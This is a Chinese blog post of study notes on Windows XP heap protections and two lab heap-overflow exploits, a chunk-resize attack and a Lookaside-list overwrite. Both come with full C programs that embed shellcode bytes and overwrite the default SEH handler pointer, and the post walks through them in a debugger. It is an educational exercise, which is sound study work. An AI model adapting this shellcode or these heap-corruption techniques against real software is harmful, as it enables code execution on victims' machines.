《0day安全》——重重保护下的堆

堆保护方式:

1.    PEB randomdword shoot写内存,覆盖PEB指针,加入随机化了就不行了

2.    Safe Unlink:验证当前堆块的下一个堆块的前向指针和前一个堆块的后向指针是否指向当前堆块

3.    heap cookie:跟栈的GS类似,cookie放在segment table处,占一个字节

4.    元数据加密:块首一些重要元素与一个4字节的随机数进行异或运算,使用时再异或回来,我们就不能直接破坏或改写这些数据了

 

利用chunk重设大小攻击堆

当一时看不懂的时候,直接一步步实验,一步步思考,总会有收获的,即使不一定一下子就懂了,慢慢地,不断接触到了就越来越懂了

 

学习了解堆的代码

#include <stdio.h>
 #include <windows.h>
 void main()
 {
 HLOCAL h1;
 HANDLE hp;
 hp = HeapCreate(0,0x1000,0x10000);
 __asm int 3
 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
 }

 

可以看到堆的起始地址是0x003A0000

blob.pngfreelist[0]

blob.png

唯一的chunk

blob.png

接下来我们看看分配了一点后剩余的新chunk会怎么插入到链表中(汇编代码)

blob.png基址是7C920000,+11513那么直接到7C931513

但那里的代码不对啊

blob.png

那就直接找命令吧

blob.png

终于被机智地找到了,0x7C931003

blob.png

那么如果我们将旧的chunkFlinkBlink覆盖了,就可能出现任意地址写固定值的漏洞了

 

代码(实际实验中我已将39改为我机器里面的3A了)

#include <stdio.h>
 #include <windows.h>
 void main()
 {
 char shellcode[]=
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x10\x01\x10\x00\x99\x99\x99\x99"
 "\xEB\x06\x39\x00\xEB\x06\x39\x00"
 "\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\xEB\x31\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x11\x01\x10\x00\x99\x99\x99\x99\x8C\x06\x39\x00\xE4\xFF\x12\x00"
 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 
 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
 ;
 HLOCAL h1,h2;
 HANDLE hp;
 hp = HeapCreate(0,0x1000,0x10000);
 __asm int 3
 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
 memcpy(h1,shellcode,300);
 h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
 int zero=0;
 zero=1/zero;
 printf("%d",zero);
 }

运行调试后在memcpy处下断点

blob.png

可以看到32字节的字符串就可以覆盖FlinkBlink

blob.png

我们覆盖为什么好,0x003906EB,因为0xEB06是短跳转,可能调试的时候就明白了

 

而我们要修改的目标是异常处理

默认异常处理句柄的位置0x0012FFE4

blob.png

 

可以看到

[003A06B8]=003A06EB

[003A06B8+4]=0012FFE4

[0012FFE4]=003A06B8

[003A06EB+4]=003A06B8blob.png

有点乱,不过看一下结果对不对吧

可以看到和预期一致

blob.png

但是最终不会到最终的异常处理程序处执行,难道是有防御(safeSEH什么的)?

但是流程大概知道了

利用Lookaside表进行堆溢出

Lookaside表就是说得快表,他是单链表,Safe Unlin不会双向验证

代码:

#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode []=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x03\00\x03\x00\x5C\x01\x08\x99"//填充
"\xE4\xFF\x12\x00"//用默认异常处理函数指针所在位置覆盖
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2,h3;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h3);
HeapFree(hp,0,h2);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"\x90\x1E\x3A\x00",4);
int zero=0;
zero=1/zero;
printf("%d",zero);
}

首先复习一下快表的知识,快表在688偏移处,向下3行就是

第一个框就是Lookside[0],第二个就是Lookside[1],以此类推

可以看到都是空的

blob.png

看看普通的堆块,首先找到位置

blob.png

看到了,空的

blob.png

因为快表都是空的,我们要先申请再释放,就优先释放到快表里面

blob.png

可以看到确实是,单向链表,而且将第6个字节设置为1防止堆块合并

blob.png

因为h1和下面的快表连着,我们就可以覆盖那个指针了

下一步就是复制shellcode到h1

可以看到指针被覆盖了,那个是异常处理程序储存的地方

blob.png

那么下次申请的时候就会将这个地址写在Lookside[2]的首地址处了

看看是不是呢,如下图,确实是的

blob.png

那么h3申请的时候就申请到栈上的地址去了

可以看到都置0了

blob.png

我们再将地址复制到h3就行了

memcpy(h3,"\x90\x1E\x3A\x00",4);

行啦

blob.png

首先触发触发除0错误

blob.png

会不会出现问题呢

还是不会跳到那里去执行

应该是我xp3的问题,估计换xp2可以

不过懂原理了

打赏作者
喜欢本博客,打赏让博客永久运行,多少你说了算

您的支持将鼓励我们继续创作!

[微信] 扫描二维码打赏

[支付宝] 扫描二维码打赏

发表评论

电子邮件地址不会被公开。 必填项已用*标注